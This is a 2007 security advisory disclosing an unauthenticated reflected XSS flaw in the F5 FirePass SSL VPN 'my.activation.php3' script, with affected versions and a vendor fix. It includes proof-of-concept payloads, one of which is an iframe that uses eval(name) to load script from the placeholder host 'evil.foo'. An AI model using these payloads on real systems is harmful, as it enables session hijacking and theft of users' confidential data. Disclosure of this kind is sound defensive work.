ProCheckUp Security Advisory 2007.14

🗓️ 02 Dec 2007 00:00:00Reported by Adrian PastorType

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F5 FirePass 4100 SSL VPN XSS Vulnerability in 'my.activation.php3

`PR07-14: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.activation.php3' server-side script  
  
Date Found: 19th June 2007  
  
Successfully tested on: version 5.5.2  
  
F5 Networks has confirmed the following versions to be vulnerable:  
  
FirePass versions 5.4.1 - 5.5.2  
FirePass versions 6.0 - 6.0.1  
  
Description:  
  
F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.activation.php3" server-side script.  
  
No authentication is required to exploit this vulnerability.  
  
Consequences:  
  
An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.  
  
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.  
  
Proof of concept (PoC) URL:  
  
https://target.tld/my.activation.php3?"></script><textarea>HTML_injection_test</textarea><!--  
  
The payload in the example is  
  
"></script><textarea>HTML_injection_test</textarea><!--  
  
which injects a 'textarea' box  
  
The following PoC HTML page would run JavaScript without any restrictions from a third-party file ('http://www.evil.foo/b' in this case):  
  
<html>  
  
<iframe src="https://target.tld/my.activation.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--" width="0%" height="0%" name="xss=document.body.appendChild(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>  
  
</html>  
  
Successfully tested on:  
  
Server environment:  
  
F5 FirePass 4100  
  
Client environment:  
  
Microsoft Internet Explorer 7.0.5730.11  
  
Severity: Medium/High  
  
Authors: Adrian Pastor and Jan Fry of ProCheckUp Ltd (www.procheckup.com).  
  
With thanks to Petko D. Petkov for suggesting the eval(name) technique.  
  
References:  
  
http://www.procheckup.com/Vulnerability_2007.php  
http://www.f5.com/products/FirePass/  
  
Fix:  
  
F5 Networks has issued SOL7923:  
  
https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1  
`

02 Dec 2007 00:00Current

0.2Low risk

Vulners AI Score0.2